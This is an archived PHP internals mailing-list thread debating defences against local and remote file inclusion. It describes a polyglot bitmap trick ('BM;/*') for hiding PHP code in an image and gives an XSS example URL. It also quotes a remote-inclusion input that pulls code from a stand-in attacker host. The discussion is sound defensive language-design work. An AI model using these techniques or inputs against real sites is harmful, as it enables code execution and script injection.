Right, but anyone can trivially construct a fully valid bitmap with a starting byte sequence of `42 4D 3B 2F 2A`, which resolves to `BM;/*`. PHP will decide that BM meant 'BM', effectively skipping it, then the open comment will slide the PHP interpreter past any remaining header stuff. You can close the comment and place the actual code payload anywhere in the image data. The early bytes in other image formats are similarly exploitable. As far as I can tell there is really no security win here.

> 4. Only protecting against mid-script injections and not top-of-script injections is a somewhat subtle concept when the real problem is the vulnerable include $_GET['filename'] hole. If this really is a prevalent problem, maybe instead of trying to mitigate the symptoms, why don't we try to attack the actual cause of the problem. I would love to hear some ideas along those lines that don't fundamentally change the nature of PHP for somewhat cloudy benefits.
> 
> -Rasmus

It's disturbingly common. Probably 90% of the automated attacks I see in the 404 error logs are trying to exploit various inclusion vulnerabilities.

One idea that comes to mind immediately is the old taint RFC: https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it (optionally) warns the developer that they did something very bad, regardless of whether it actually caused a problem with the specific input data. I'd really love to see that one finalized and implemented.

Another wild alternative could be to have a non-trivial string format internally, where PHP strings are actually a set of distinct blocks which each contain encoding information. This would make it possible to concatenate strings just as always, but since the attributes of each block are known the entire string contents could be manipulated to an arbitrary final encoding, (or rejected as impossible to safely convert) when the string is actually used. In the include case this isn't really very different from taint, because safe conversion is impossible, but for things like XSS and SQL injection it could actually *fix* the otherwise vulnerable code. A simplified example of how this might work:

http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E

// $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
$name = $_GET['name'];

$welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome <b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];

echo $_GET['name']; // assuming the current output format is text/html, the output will be "Welcome <b> &lt;script&gt;xss();&lt;/script&gt;</b>!"

Obviously this second idea is probably a prohibitively large change, there is some BC break (especially where an input was known to be HTML but secured via something like HTMLPurifier), and there are huge open questions (like how to handle string comparison). Still, I think it is interesting because it actually divines the real meaning. The intent of the above code is obvious to a developer, and something like this could bring that understanding to the final result. This specific concept has issues, but maybe it gives someone else a more practical idea.

John Crenshaw
Priacta, Inc.

---

## #59742 — Kris Craig — 2012-04-11T17:53:09+00:00

URL: https://externals.io/message/59626#59742 · In reply to: #59740

On Wed, Apr 11, 2012 at 10:38 AM, John Crenshaw <johncrenshaw@priacta.com>wrote:

> From: Rasmus Lerdorf [mailto:rasmus@lerdorf.com]
> > […]
> it as a valid image
>
> Right, but anyone can trivially construct a fully valid bitmap with a
> starting byte sequence of `42 4D 3B 2F 2A`, which resolves to `BM;/*`. PHP
> will decide that BM meant 'BM', effectively skipping it, then the open
> comment will slide the PHP interpreter past any remaining header stuff. You
> can close the comment and place the actual code payload anywhere in the
> image data. The early bytes in other image formats are similarly
> exploitable. As far as I can tell there is really no security win here.
>
> > […]
> injections is a somewhat subtle concept when the real problem is the
> vulnerable include $_GET['filename'] hole. If this really is a prevalent
> problem, maybe instead of trying to mitigate the symptoms, why don't we try
> to attack the actual cause of the problem. I would love to hear some ideas
> along those lines that don't fundamentally change the nature of PHP for
> somewhat cloudy benefits.
> > […]
>
> It's disturbingly common. Probably 90% of the automated attacks I see in
> the 404 error logs are trying to exploit various inclusion vulnerabilities.
>
> One idea that comes to mind immediately is the old taint RFC:
> https://wiki.php.net/rfc/taint. This doesn't actually prevent LFI, but it
> (optionally) warns the developer that they did something very bad,
> regardless of whether it actually caused a problem with the specific input
> data. I'd really love to see that one finalized and implemented.
>
> Another wild alternative could be to have a non-trivial string format
> internally, where PHP strings are actually a set of distinct blocks which
> each contain encoding information. This would make it possible to
> concatenate strings just as always, but since the attributes of each block
> are known the entire string contents could be manipulated to an arbitrary
> final encoding, (or rejected as impossible to safely convert) when the
> string is actually used. In the include case this isn't really very
> different from taint, because safe conversion is impossible, but for things
> like XSS and SQL injection it could actually *fix* the otherwise vulnerable
> code. A simplified example of how this might work:
>
> http://example.com?name=%3Cscript%3Exss()%3B%3C%2Fscript%3E<http://example.com?name=%3Cscript%3Exss%28%29%3B%3C%2Fscript%3E>
>
> // $_GET['name'] === [text&user&utf8('<script>xss();</script>')];
> $name = $_GET['name'];
>
> $welcome = html("Welcome <b>$name</b>!"); // $welcome === [html('Welcome
> <b>'), text&user&utf8('<script>xss();</script>'), html('</b>!')];
>
> echo $_GET['name']; // assuming the current output format is text/html,
> the output will be "Welcome <b> &lt;script&gt;xss();&lt;/script&gt;</b>!"
>
> Obviously this second idea is probably a prohibitively large change, there
> is some BC break (especially where an input was known to be HTML but
> secured via something like HTMLPurifier), and there are huge open questions
> (like how to handle string comparison). Still, I think it is interesting
> because it actually divines the real meaning. The intent of the above code
> is obvious to a developer, and something like this could bring that
> understanding to the final result. This specific concept has issues, but
> maybe it gives someone else a more practical idea.
>
> John Crenshaw
> Priacta, Inc.
>
> --
> 
> 
>
>
I can't help but question whether we should even be worrying about LFI/RFI
to begin with.  Personally, I would *never* check-off on code that in any
way used $_GET or $_POST directly in an include/require statement!  It's
just plain lazy.  There's just no excuse for doing that.  Use some sort of
dispatch or translation table.  Sure, it might seem less "magical," but
it'll also protect you from some asshole hitting you with something like,
"?file=http://hacksite.com/injectedcode.php?".  The individual code
developer has to take *some* responsibility for their code.  If this is
such a problem, I would think the solution would be to update our docs to
better warn people about this type of attack and educate them on how not to
write code that's vulnerable to it.

We can make the language secure; but, in the end, a language is only as
smart as the person using it.

--Kris

---

Next page: https://externals.io/message/59626.md?page=2
